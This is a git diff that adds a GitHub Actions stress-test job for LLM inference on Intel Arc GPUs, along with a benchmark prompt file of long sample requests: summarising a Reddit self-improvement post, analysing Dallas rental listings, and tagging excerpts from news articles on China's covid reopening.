diff --git a/.github/workflows/llm_tests_for_stable_version.yml b/.github/workflows/llm_tests_for_stable_version.yml index 628f2334..a72e576c 100644 --- a/.github/workflows/llm_tests_for_stable_version.yml +++ b/.github/workflows/llm_tests_for_stable_version.yml @@ -102,6 +102,88 @@ jobs: cd ../../../test/benchmark python -m pip install pandas==1.5.3 python csv_to_html.py -f $CSV_SAVE_PATH/fp8 -b $CSV_SAVE_PATH/fp8/transformer_int4_gpu-results-1baseline.csv -t 5.0 + + llm-stress-test-on-arc: + needs: llm-perf-regression-test-on-arc + strategy: + fail-fast: false + matrix: + python-version: ["3.9"] + runs-on: [self-hosted, llm, perf] + env: + OMP_NUM_THREADS: 16 + THREAD_NUM: 16 + ANALYTICS_ZOO_ROOT: ${{ github.workspace }} + CSV_SAVE_PATH: '/mnt/disk1/stable_version_stress_test_gpu/' + + steps: + - uses: actions/checkout@v3 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v4 + with: + python-version: ${{ matrix.python-version }} + + - name: Install dependencies + shell: bash + # pip install transformers_stream_generator for model internlm-chat-7b-8k + # pip install tiktoken for model Qwen-7B-Chat-10-12 + run: | + python -m pip install --upgrade pip + python -m pip install --upgrade wheel + python -m pip install --upgrade omegaconf + python -m pip install --upgrade pandas + python -m pip install --upgrade einops + python -m pip install --upgrade transformers_stream_generator + python -m pip install --upgrade tiktoken + + - name: Download llm binary + uses: ./.github/actions/llm/download-llm-binary + + - name: Run LLM install (all) test + uses: ./.github/actions/llm/setup-llm-env + with: + extra-dependency: "xpu" + + - name: Test installed xpu version + shell: bash + run: | + source /home/arda/intel/oneapi/setvars.sh + bash python/llm/test/run-llm-install-tests.sh + + - name: Test on xpu (int4) + shell: bash + run: | + source /home/arda/intel/oneapi/setvars.sh + export USE_XETLA=OFF + export SYCL_PI_LEVEL_ZERO_USE_IMMEDIATE_COMMANDLISTS=1 + mv python/llm/test/benchmark/stable-version-arc-stress-test-sym_int4.yaml python/llm/dev/benchmark/all-in-one/config.yaml + cd python/llm/dev/benchmark/all-in-one + # hide time info + sed -i 's/str(end - st)/"xxxxxx"/g' run-stress-test.py + python run-stress-test.py + cp ./*.csv $CSV_SAVE_PATH/int4 + rm ./*.csv + cd ../../../test/benchmark + python -m pip install pandas==1.5.3 + python csv_to_html.py -f $CSV_SAVE_PATH/int4 + + - name: Test on xpu (fp8) + shell: bash + run: | + source /home/arda/intel/oneapi/setvars.sh + export USE_XETLA=OFF + export SYCL_PI_LEVEL_ZERO_USE_IMMEDIATE_COMMANDLISTS=1 + mv python/llm/test/benchmark/stable-version-arc-stress-test-fp8.yaml python/llm/dev/benchmark/all-in-one/config.yaml + cd python/llm/dev/benchmark/all-in-one + # hide time info + sed -i 's/str(end - st)/"xxxxxx"/g' run-stress-test.py + python run-stress-test.py + cp ./*.csv $CSV_SAVE_PATH/fp8 + rm ./*.csv + cd ../../../test/benchmark + python -m pip install pandas==1.5.3 + python csv_to_html.py -f $CSV_SAVE_PATH/fp8 llm-perf-regression-test-on-spr: @@ -209,4 +291,4 @@ jobs: cp ./*.csv /models/stable_version_stress_test_cpu/ cd ../../../test/benchmark python -m pip install pandas==1.5.3 - python csv_to_html.py -f /models/stable_version_stress_test_cpu/ \ No newline at end of file + python csv_to_html.py -f /models/stable_version_stress_test_cpu/ diff --git a/python/llm/dev/benchmark/all-in-one/prompt/stress_test.txt b/python/llm/dev/benchmark/all-in-one/prompt/stress_test.txt index add89cf8..0b173742 100644 --- a/python/llm/dev/benchmark/all-in-one/prompt/stress_test.txt +++ b/python/llm/dev/benchmark/all-in-one/prompt/stress_test.txt @@ -2,4 +2,509 @@ 'summarise the following text into bullet points: Ouch. Sounds like you\'re having a tough time max. That sucks. I\'ve been there, so I kinda know what you\'re talking about. I\'ve been in the ever circling vortex of self doubt, frustration, and loathing. It\'s no bueno. I know. If you don\'t mind lemme tell you a couple things. You can read em if you want, read em again later if you feel like it. But honestly man, if I spend all this time typing this out to you and you don\'t let it be a little tinder for your fire, well, you\'re just letting us both down. And you don\'t HAVE to do that. You don\'t HAVE to do anything. But you get to choose.\n\n(Who am I? My name’s Ryan and I live in Canada. Just moved to a new city for a dream job that I got because of the rules below. I owe a lot of my success to people much cooler, kinder, more loving and greater than me. When I get the chance to maybe let a little bit of help out, it’s a way of thanking them. )\n\nRule numero uno - There are no more zero days. What\'s a zero day? A zero day is when you don\'t do a single fucking thing towards whatever dream or goal or want or whatever that you got going on. No more zeros. I\'m not saying you gotta bust an essay out everyday, that\'s not the point. The point I\'m trying to make is that you have to make yourself, promise yourself, that the new SYSTEM you live in is a NON-ZERO system. Didnt\' do anything all fucking day and it\'s 11:58 PM? Write one sentence. One pushup. Read one page of that chapter. One. Because one is non zero. You feel me? When you\'re in the super vortex of being bummed your pattern of behaviour is keeping the vortex goin, that\'s what you\'re used to. Turning into productivity ultimate master of the universe doesn\'t happen from the vortex. It happens from a massive string of CONSISTENT NON ZEROS. That\'s rule number one. Do not forget.\n\nLa deuxieme regle - yeah i learnt french. its a canadian thing. please excuse the lack of accent graves, but lemme get into rule number 2. BE GRATEFUL TO THE 3 YOU\'S. Uh what? 3 me\'s? That sounds like mumbo jumbo bullshit. News flash, there are three you\'s homeslice. There\'s the past you, the present you, and the future you. If you wanna love someone and have someone love you back, you gotta learn to love yourself, and the 3 you\'s are the key. Be GRATEFUL to the past you for the positive things you\'ve done. And do favours for the future you like you would for your best bro. Feeling like shit today? Stop a second, think of a good decision you made yesterday. Salad and tuna instead of Big Mac? THANK YOU YOUNGER ME. Was yesterday a nonzero day because you wrote 200 words (hey, that\'s all you could muster)? THANK YOU YOUNGER ME. Saved up some coin over time to buy that sweet thing you wanted? THANK YOU. Second part of the 3 me\'s is you gotta do your future self a favour, just like you would for your best fucking friend (no best friend? you do now. You got 2. It\'s future and past you). Tired as hell and can\'t get off reddit/videogames/interwebs? fuck you present self, this one\'s for future me, i\'m gonna rock out p90x Ab Ripper X for 17 minutes. I\'m doing this one for future me. Alarm clock goes off and bed is too comfy? fuck you present self, this one\'s for my best friend, the future me. I\'m up and going for a 5 km run (or 25 meter run, it\'s gotta be non zero). MAKE SURE YOU THANK YOUR OLD SELF for rocking out at the end of every.single.thing. that makes your life better. The cycle of doing something for someone else (future you) and thanking someone for the good in your life (past you) is key to building gratitude and productivity. Do not doubt me. Over time you should spread the gratitude to others who help you on your path.\n\nRule number 3- don\'t worry i\'m gonna too long didnt\' read this bad boy at the bottom (get a pencil and piece of paper to write it down. seriously. you physically need to scratch marks on paper) FORGIVE YOURSELF. I mean it. Maybe you got all the know-how, money, ability, strength and talent to do whatever is you wanna do. But lets say you still didn\'t do it. Now you\'re giving yourself shit for not doing what you need to, to be who you want to. Heads up champion, being dissapointed in yourself causes you to be less productive. Tried your best to have a nonzero day yesterday and it failed? so what. I forgive you previous self. I forgive you. But today? Today is a nonzero masterpiece to the best of my ability for future self. This one\'s for you future homes. Forgiveness man, use it. I forgive you. Say it out loud.\n\nLast rule. Rule number 4, is the easiest and its three words. exercise and books. that\'s it. Pretty standard advice but when you exercise daily you actually get smarter. when you exercise you get high from endorphins (thanks body). when you exercise you clear your mind. when you exercise you are doing your future self a huge favour. Exercise is a leg on a three legged stool. Feel me? As for books, almost every fucking thing we\'ve all ever thought of, or felt, or gone through, or wanted, or wanted to know how to do, or whatever, has been figured out by someone else. Get some books max. Post to reddit about not caring about yourself? Good first step! (nonzero day, thanks younger me for typing it out) You know what else you could do? Read 7 habits of highly successful people. Read "emotional intelligence". Read "From good to great". Read “thinking fast and slow”. Read books that will help you understand. Read the bodyweight fitness reddit and incorporate it into your workouts. (how\'s them pullups coming?) Reading is the fucking warp whistle from Super Mario 3. It gets you to the next level that much faster.\n\nThat’s about it man. There’s so much more when it comes to how to turn nonzero days into hugely nonzero days, but that’s not your mission right now. Your mission is nonzero and forgiveness and favours. You got 36 essays due in 24 minutes and its impossible to pull off? Your past self let you down big time, but hey… I forgive you. Do as much as you can in those 24 minutes and then move on.\n\nI hope I helped a little bit max. I could write about this forever, but I promised myself I would go do a 15 minute run while listening to A. Skillz Beats Working Vol. 3. Gotta jet. One last piece of advice though. Regardless of whether or not reading this for the first time helps make your day better, if you wake up tomorrow, and you can’t remember the 4 rules I just laid out, please, please. Read this again.\n\nHave an awesome fucking day ☺\n\ntldr; 1. Nonzero days as much as you can. 2. The three you’s, gratitude and favours. 3. Forgiveness 4. Exercise and books (which is a sneaky way of saying self improvement, both physical, emotional and mental)\n\nEdit: Wow reddit gold? Thanks! No idea what to do with it or whats the deal but many thanks!\n\nEdit2: Someone asked what I meant by "much more when it comes to how to turn nonzero days into hugely nonzero days". The long and short of it is a simple truth, but it\'s tough to TOTALLY UNDERSTAND AND PRACTICE. It\'s this: you become what you think. This doesnt mean if I think of a tree, I\'ll be oakin\' it by august. It means that the WAY you think, the THINGS you think of, and the IDEAS YOU HOLD IN YOUR MIND defines the sum total that is you. You procrastinate all the time and got fear and worry goin on for something? You are becoming a procrastinator. You keep thinking about how much you want to run that 5 k race in the spring and finish a champion? Are ya keeping it in mind all the time? Is it something that is defining your ACTIONS and influencing you DECISIONS? If it is, then you\'re becoming the champion you\'re dreaming about. Dreaming about it makes it. Think and it shall be. But do not forget that action is thought\'s son. Thoughts without actions are nothing. Have faith in whatever it is you\'ve steeled your mind to. Have faith and follow through with action.\n\nOk, Ryan that\'s a bunch of nice words n shit, but how does that help me turn slightly nonzero days into hugely nonzero days. Do you believe all these words you just read? Does it makes sense to you that you BECOME WHAT YOU THINK OF? Ask yourself: What do I think of? When you get home and walk in the door. (how quickly did you turn that laptop on? Did turning it on make you closer to your dreams? What would?) At the bus stop. Lunch break. What direction are you focusing your intentions on? If you\'re like I was a few years ago, the answer was either No direction, or whatever caught my eye at the moment. But no stress, forgive yourself. You know the truth now. And knowing the truth means you can watch your habits, read books on how you think and act, and finally start changing your behaviour. Heres an example: Feeling like bunk cause you had zero days or barely nonzero days? THINK ABOUT WHAT YOURE DOING. and change just a little bit more. in whatever positive direction you are choosing to go.' 'go through the following listing data and pick out the best listings with an explanation as to why they are likely to be successful. \n\nuse the following format in the output:\n\nListing Name:\nListing Location:\nListing Amenity List:\nListing Property Type:\nLikely Reason for Success:\nLikely Price of the Property to Purchase Versus Lease\n\nThis is the data:\n\n20730674;The Hidden Cliff, Elegant Suite-NO cleaning fee;6601665;Linda;;District 1;32.76582;-96.82539;Private room;112;3;22;44864;0.33;3;137;2\n20848408;French Chic - Parking- HP/Uptown/Design D/Oak Lawn;1509921;Robert;;District 14;32.81986;-96.80561;Entire home/apt;75;2;133;44971;2.02;8;82;17\n19160523;Charming Home in the Heart of Uptown Dallas;126765832;Tram;;District 14;32.79759;-96.79724;Entire home/apt;341;2;163;44969;2.41;3;72;14\n20848529;Central Ctr-Parking-Design D./Uptown/HP/Katy Tr;1509921;Robert;;District 14;32.81979;-96.8057;Entire home/apt;72;2;158;44964;2.4;8;83;30\n19183767;11655;134182247;Ash;;District 10;32.90875;-96.71922;Private room;38;3;1;44217;0.04;1;65;0\n20848617;Two (1BR/BA) apts, top floor, sleep 6, parking;1509921;Robert;;District 14;32.8195;-96.80535;Entire home/apt;183;2;6;43351;0.09;8;82;0\n19225872;Peach room with attached bathroom;128942364;Joseph;;District 12;32.99785;-96.84008;Private room;59;1;44;44850;0.65;3;175;6\n20887054;Charming & Quaint Private Poolside Suite;28950374;Webb;;District 12;32.97444;-96.78232;Private room;50;1;6;44486;0.12;1;88;0\n20905329;Paradise five star. ready. See below;15751176;Avi;;District 13;32.87612;-96.75971;Entire home/apt;250;180;26;44566;0.41;5;365;0\n19363274;Charming Dallas Gem near SMU, Mockingbird Station;14879587;Jaxsie;;District 14;32.83467;-96.75692;Entire home/apt;89;1;404;44962;5.94;11;59;80\n19440550;★15% Monthly Discount★ 2BR PRIVATE REFUGE;14899691;John;;District 14;32.83526;-96.75675;Entire home/apt;81;2;155;44955;2.27;5;47;20\n19440831;★15% Monthly Discount★1BR PRIVATE REFUGE W/ BACKYD;14899691;John;;District 14;32.83526;-96.75675;Entire home/apt;69;2;84;44956;1.25;5;46;24\n20916267;Uptown - Cozy 1 bd #3 Free Fast WiFi Parking Cable;6063232;Joan;;District 14;32.818493;-96.789749;Entire home/apt;111;3;23;44871;0.35;11;355;3\n20943952;Great Location and Quiet one Bedroom Condominium;40014595;Carlos;;District 13;32.9084;-96.87497;Entire home/apt;72;20;18;44905;0.27;2;8;3\n21029670;(March45%OFF)Best&Coziest place in OakLawn/Uptown;2870800;Erme;;District 14;32.81478;-96.80607;Private room;95;3;25;44469;0.39;3;279;0\n19447899;Oak Lawn House by Uptown + Private Backyard;78199259;Minh;;District 14;32.81378;-96.80964;Entire home/apt;115;2;33;44970;0.49;4;238;28\n19471389;Cottage in the City;43042344;Heath;;District 2;32.82075;-96.82967;Entire home/apt;90;2;168;44890;2.45;151;365;7\n21038506;Beautiful Knox Apartment w/ Pool, Gym and Parking!;74791686;Your Stay Mgmt;;District 14;32.82572;-96.78431;Entire home/apt;94;2;231;44930;3.54;3;40;25\n"19474561;Cool Casa Linda by White Rock Lake!\nor Cool CL!;16107819;Annette & Craig;;District 9;32.83169;-96.70555;Entire home/apt;105;2;168;44956;2.46;1;328;33"\n19490194;Charming City Carriage House- Deep Ellum; Downtown;132800378;Chelsea;;District 7;32.76733;-96.77312;Entire home/apt;219;1;218;44957;3.19;2;75;3\n19506283;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fThe heart of Dallas Uptown/Downtown â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80181;-96.79129;Entire home/apt;150;5;5;43690;0.07;250;1;0\n21050718;MIDTOWN TOWNHOUSE;151321467;Monique;;District 11;32.94451;-96.81484;Entire home/apt;98;180;19;43577;0.29;1;0;0\n21057649;Exquisite view, cozy feel, heart of downtown.;151705285;Craig;;District 14;32.78231;-96.79997;Entire home/apt;110;2;16;44966;0.34;1;15;9\n21749543;Charming Craftsman Home in Lower Greenville;158448001;Sammie;;District 14;32.82567;-96.76871;Entire home/apt;225;2;165;44934;2.6;1;206;30\n21749677;Cute Bungalow in Heart of City;43042344;Heath;;District 2;32.84692;-96.82898;Entire home/apt;87;5;148;44948;2.33;151;358;27\n21088291;Cool Studio Apartment near White Rock Lake;127689710;Tim;;District 10;32.86682;-96.69175;Entire home/apt;85;1;66;44591;1.75;1;117;0\n21755757;â\xad\x90ï¸\x8fAmazing Heart of VICTORY PARK Downtown â\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;19;4;43142;0.06;250;55;0\n21757100;â\xad\x90ï¸\x8f West Village Uptown NEW & AMAZING Price â\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81482;-96.79146;Entire home/apt;120;7;6;44343;0.09;250;106;0\n21095352;Gorgeous Apartment with Pool, Parking and Gym!;74791686;Your Stay Mgmt;;District 14;32.82411;-96.78613;Entire home/apt;92;2;175;44951;2.68;3;45;27\n21771198;💎 Modern â\xad\x90ï¸\x8f Central Dallas ✅ 10min to Dntwn/ Fair Park 💎;48903804;Scott;;District 7;32.776394;-96.739395;Entire home/apt;203;2;126;44951;2.02;1;46;23\n21112646;Private Home for Groups with Pool!;43042344;Heath;;District 1;32.75101;-96.84046;Entire home/apt;191;2;145;44921;2.22;151;260;14\n21790601;★★★Uptown Dallas Luxury Studio KING size bed ★★★;108514926;Dalls;;District 14;32.80005;-96.80604;Entire home/apt;120;2;4;43233;0.06;250;10;0\n21121539;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.8101;-96.797;Entire home/apt;110;7;1;43427;0.02;74;52;0\n21123786;The Monticello Guest House - M Streets, Dallas;152362711;Becky;;District 14;32.82729;-96.77908;Entire home/apt;82;2;183;44954;2.8;1;307;29\n21792564;Spacious & Walkable 2BD 2BA Uptown / West Village;108514926;Dalls;;District 14;32.80468;-96.79849;Entire home/apt;185;28;2;43181;0.03;250;365;0\n21797129;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fA Premier Location Heart of Victory Parkâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;30;5;43563;0.08;250;55;0\n21139822;SPACIOUS, 4/2.5 \\*Family Home Sleeps 10 With 2900 SQ FT-4/2.5 QUIET CUL DE SAC;35342054;Deborah;;District 9;32.83356;-96.73608;Entire home/apt;236;3;66;44909;1.03;5;134;11\n21804987;â\xad\x90ï¸\x8f KING BED | FREE PARKING | GYM | POOLâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81482;-96.79146;Entire home/apt;107;70;0;;;250;351;0\n21176569;Modern Luxury with Parking, Pool and Gym!;74791686;Your Stay Mgmt;;District 14;32.82434;-96.78641;Entire home/apt;97;2;132;44900;2.04;3;16;21\n21805613;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;28;3;43702;0.05;250;0;0\n21805646;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;113;12;4;44655;0.07;250;220;1\n21805704;â\xad\x90ï¸\x8fWest Village Uptown NEW and AMAZING PRICE â\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;20;2;44461;0.08;250;6;0\n21189192;The Local | Lower-Greenville | Arboretum Tickets;10901678;Vera;;District 14;32.81651;-96.76914;Entire home/apt;75;1;377;44966;5.79;23;329;49\n21199299;Dallas - new, modern and contemporary home;121600765;Elaine;;District 6;32.7817701439552;-96.844170615077;Entire home/apt;300;2;8;44955;1.85;1;347;8\n21806352;â\xad\x90ï¸\x8fWest Village Uptown NEW and AMAZING PRICE â\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;70;1;44012;0.03;250;0;0\n21806397;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;28;2;44343;0.03;250;0;0\n21200523;Guest-house Near White Rock Lake;116880529;Nelly;;District 9;32.85247;-96.68628;Entire home/apt;98;2;81;44928;1.24;1;56;13\n21806439;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;200;4;3;43700;0.06;250;220;0\n21806484;One of Uptown\'s most desirable location;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;28;4;44797;0.09;250;6;2\n21806540;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fAMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;155;5;3;44199;0.06;250;220;0' 'Assuming that I am keeping the sentences that I find interesting in a note app, please provide me with tags that I could use in my note-taking app and please provide me with a short description of what I am researching. Also, please let me know the three most relevant topics that I should research next. For each of the three topics can you please provide me with materials (3 URLs) I should read next?\n \nArticle:\n\n "What China can still do to avoid an enormous covid death toll\n\n It must treat hospitals as a precious resource and start stockpiling drugs\n\n People wearing face masks walk in a subway station, as coronavirus disease (COVID-19) outbreaks continue in Shanghai, China, December 8, 2022.\n\n Testing stations are being removed from city streets. The enforcers of “zero-covid” are nowhere to be found. In China’s battle against covid-19, the state has disappeared from the front lines. For nearly three years President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”. Now he has surrendered and the people must live with the enemy.\n\n Listen to this story. Enjoy more audio and podcasts on iOS or Android.\n\n Mr Xi is not the first leader to conclude that such a fight was unwinnable. But before ditching their zero-covid policies, other countries first took pains to administer vaccines, stockpile antiviral drugs and draw up treatment guidelines. China had ample time to do all of that. Yet more than two years after the first vaccine proved effective, the country remains ill-prepared. That has made opening up much more dangerous than it ought to be.\n\n How dangerous? In this week’s China section we publish our model of how the epidemic might play out. It comes with essential caveats. Modelling an epidemic is difficult. Modelling one in China, where the data are often unreliable, is even harder. We take into account variables such as vaccination rates, the effectiveness of Chinese jabs, the lethality of covid for different age groups and the number of intensive-care beds. In a worst case, if covid spreads freely and many people cannot get care, we estimate that in the coming months 1.5m Chinese people will die from the virus.\n\n Although that is a lower share of the population than in many rich countries, it is still a criticism of the government’s poor preparations. It is also a call to action. A vaccination drive will take months. The government has waited too long to build and staff new icus. But even if the state will not impose lockdowns while it prepares, it can mitigate the number of deaths.\n\n It should start by protecting the health system. A wave of covid is breaking over China. Our model sees this peaking in January. By that time hospitals risk being overwhelmed. Beds and staff are a precious resource to be husbanded. That means keeping people who are not seriously ill away from hospitals. To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol. Medical staff should be vaccinated first and they must be given the proper gear to minimise the risk of infection.\n\n A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients. Antivirals, such as Paxlovid, help keep those most at risk out of hospital. These drugs have become part of the toolkit doctors around the world are using to fight the virus. They could save many thousands of lives in China. Only the government knows if it has enough of them to go around. If not, it should start stocking up. Foreign governments would surely send supplies if China asked. President Xi Jinping should not let his pride imperil China’s people, as he has done by shunning more efficacious Western vaccines.\n\n China’s vaccines still work. So the third priority is to get them into people’s arms. It may be too late for many in this wave, but there will be others. Less than half of those over 80 years old have had three shots, the number needed for decent protection against severe disease and death. Yet some of the elderly have gone to the clinic for a jab only to be turned away for lack of supplies. Until recently, some vaccine factories were sitting idle. Vast quantities will be needed. Six-monthly booster shots ought to become a normal part of life for older Chinese.\n\n As the state has failed to do its job, people are helping themselves. Masks are ubiquitous in many cities and more people are working from home. Restaurants and cinemas may be open, but in cities such as Beijing they remain largely empty. All this will help slow the growth of this covid wave and ease the pressure on hospitals. But the government must also act. In a country the size of China, even small steps could save many lives." \n From the article above, I find the following sentences most interesting:\n 1. "President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”"\n 2. "A wave of covid is breaking over China. Our model sees this peaking in January."\n 3. "we estimate that in the coming months 1.5m Chinese people will die from the virus"\n 4. "To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol"\n 5. "A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients."\n 6. "China’s vaccines still work. So the third priority is to get them into people’s arms."\n\n \nArticle:\n\n "How Chinese people are dealing with the spread of covid-19\n\n The government has left the public to fend for itself\n\n A elderly man wearing a face mask and goggle walks on a street in Beijing, Sunday, Dec. 11, 2022. Facing a surge in COVID-19 cases, China is setting up more intensive care facilities and trying to strengthen hospitals as Beijing rolls back anti-virus controls that confined millions of people to their homes, crushed economic growth and set off protests.\n\n Just a few months ago Chinese people had little fear of catching covid-19. The government’s “zero-covid” measures kept them safe for the most part. Mass testing and strict lockdowns contained the virus. If a person did test positive, the government would swoop in. The infected were taken to state-run quarantine centres. If symptomatic, they were treated in a designated hospital. Health workers would douse their house with disinfectant and test their neighbours.\n\n All this changed on December 7th, when the central government largely ditched its zero-covid policy, lifting most restrictions. Six days later it scrapped an app that tracked people’s movements. The highly transmissible Omicron variant had made zero-covid unsustainable.\n\n Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily, a Communist Party mouthpiece. Some residents of Beijing have received letters from the local committees that used to enforce covid controls. Stop reporting fevers and coughs to us, one read, before wishing people good luck. “Thank you for the past three years of support and understanding.”\n\n The official number of new cases is falling, as if the virus were fading away. But official numbers are no longer reliable because the government has scaled back testing. If it has an alternative way of keeping tabs on the epidemic, it is not sharing it.\n\n Still, it is pretty clear that a covid wave is building, as people share stories of infection online. An informal survey has been circulating on social media asking Beijing residents if they have caught the virus. As The Economist went to press, 39% of the 434,000 or so respondents had said yes.\n\n Such surveys are striking, not just for the numbers. A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering. Now the disease is so common that people are posting their test results on social media, often substituting for the word “positive” a cartoon of a sheep (which is a Chinese homophone for positive). Others are sharing lighthearted advice about the best time to catch covid. An infection now or in early January, for example, might clear up in time for a person to enjoy both Christmas and the lunar new year. “Why aren’t I positive yet?” complained one young woman in a video.\n\n Others, though, are worried. Until recently the government told people that covid was to be feared. Now the official line is that Omicron is no worse than the flu. Infected people who are not showing serious symptoms have been encouraged to stay at home and treat themselves. Not everyone is listening. Beijing’s emergency-call operators have been swamped by over 30,000 calls a day, about six times the average. Queues have appeared outside fever clinics in several cities. Certain medicines are in short supply. On December 13th a health-care website began selling Paxlovid, a highly effective antiviral drug used to treat covid. Its initial stocks sold out in half an hour.\n\n Hospitals are under more stress as doctors and nurses catch the virus. There are reports that some medical workers who have tested positive have been asked to come in anyway, risking more transmission within hospitals. As of December 13th Beijing had 50 severely ill patients, according to the official numbers. So far, the health system does not appear to be overwhelmed. But the peak of this wave is still some way off. It will probably come in late January, at least in Beijing, says Ben Cowling, a professor of epidemiology at the University of Hong Kong.\n\n With the government changing its message, people are looking elsewhere for guidance. Overseas Chinese students who have experience with covid are sharing advice on WeChat, a social-media app. They tell people what symptoms to expect and how long they might last. In general, though, good information on the virus is lacking. There are reports of people going to hospital after taking too much fever medicine. Herbal remedies used to combat covid are in hot demand, though doctors doubt their effectiveness.\n\n Vaccines, not voodoo\n\n At least people now see the need to protect themselves against the virus, which was once viewed as a terrifying but distant threat. More are getting vaccinated. The number of jabs administered each day has increased from fewer than 200,000 to over 1m. But there is a lot of ground to make up, especially when it comes to the most vulnerable. Only around 40% of people over 80 have received the three doses needed to significantly reduce the chances of severe disease or death. Yet some elderly people have had trouble getting a shot because of a lack of supply at clinics.\n\n People are also taking steps that will help mitigate the spread of the disease and perhaps reduce the pressure on hospitals. In Beijing the shopping centres and streets are largely empty, as people stay inside. Call it a self-imposed lockdown. People who do venture out wear n95 masks (which are good at filtering small airborne particles). Demand for home deliveries of meals and groceries has shot up.\n\n But people are still making plans to travel back to their villages and home towns for the lunar new year in late January. Data from Ctrip, a booking platform, show that the volume of searches for flights has increased by 160% since the government loosened restrictions. Searches for train tickets on Baidu, a search engine, increased by nearly 600% during that time. Many rural areas are woefully unprepared to handle a surge in cases.\n\n When the peak of this wave approaches, “it would make a lot of sense to bring back some public-health measures,” says Mr Cowling. But reversing course may be hard for the government to justify without admitting that it had made a mistake."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "lifting most restrictions. Six days later it scrapped an app that tracked people’s movements"\n 2. "Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily"\n 3. "But official numbers are no longer reliable because the government has scaled back testing"\n 4. "A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering."\n 5. "Beijing’s emergency-call operators have been swamped by over 30,000"\n\n \nArticle:\n\n "China pushes vaccines as retreat from \'zero-COVID\' turns messy.\n\n Beijing urges inoculations for elderly\n\n WHO calls for vaccine drive as virus spreads\n\n Economic summit starts amid more dire data\n\n BEIJING/SHANGHAI, Dec 15 (Reuters) - China raced to vaccinate its most vulnerable people on Thursday in anticipation of waves of COVID-19 infections, with some analysts expecting the death toll to soar after it eased strict controls that had kept the pandemic at bay for three years.\n\n The push comes as the World Health Organisation also raised concerns that China\'s 1.4 billion population was not adequately vaccinated and the United States offered help in dealing with a surge in infections.\n\n Beijing last Wednesday began dismantling its tough \'zero-COVID\' controls, dropping testing requirements and easing quarantine rules that had caused anxiety for tens of millions and battered the world\'s second largest economy.\n\n The pivot away from President Xi Jinping\'s signature "zero-COVID" policy followed unprecedented widespread protests against it. But, WHO emergencies director Mike Ryan said infections were exploding in China well before the government\'s decision to phase out its stringent regime.\n\n "There\'s a narrative at the moment that China lifted the restrictions and all of a sudden the disease is out of control," Ryan told a briefing in Geneva.\n\n "The disease was spreading intensively because I believe the control measures in themselves were not stopping the disease."\n\n Chinese foreign ministry spokesperson Wang Wenbin said on Thursday China has "institutional advantages" to fight COVID.\n\n "We will certainly be able to smoothly get through the peak of the epidemic," he told a regular news briefing in response to White House national security spokesperson John Kirby saying that the United States was ready to help if China requested it.\n\n There are increasing signs of chaos during China\'s change of tack - including long queues outside fever clinics, runs on medicines and panic buying across the country.\n\n On Thursday night, China\'s state asset regulator urged state-backed big drugmakers to ensure supplies of COVID-related medicines.\n\n The companies include China Resources, China General Technology and Sinopharm, which own businesses that produce drugs that could ease coronavirus symptoms.\n\n One video posted online on Wednesday showed several people in thick winter clothes hooked up to intravenous drips as they sat on stools on the street outside a clinic in central Hubei province. Reuters verified the location of the video.\n\n The COVID scare in China also led people in Hong Kong, Macau and in some neighbourhoods in Australia to go in search for fever medicines and test kits for family and friends on the mainland.\n\n For all its efforts to quell the virus since it erupted in the central city of Wuhan in late 2019, China may now pay a price for shielding a population that lacks "herd immunity" and has low vaccination rates among the elderly, analysts said.\n\n "Authorities have let cases in Beijing and other cities spread to the point where resuming restrictions, testing and tracing would be largely ineffective in bringing outbreaks under control," analysts at Eurasia Group said in a note on Thursday.\n\n "Upward of 1 million people could die from COVID in the coming months."\n\n Other experts have put the potential toll at more than 2 million. China has reported just 5,235 COVID-related deaths so far, extremely low by global standards.\n\n China\'s stock markets and its currency fell on Thursday on concerns of the virus spread.\n\n China reported 2,000 new symptomatic COVID-19 infections for Dec. 14 compared with 2,291 a day. The official 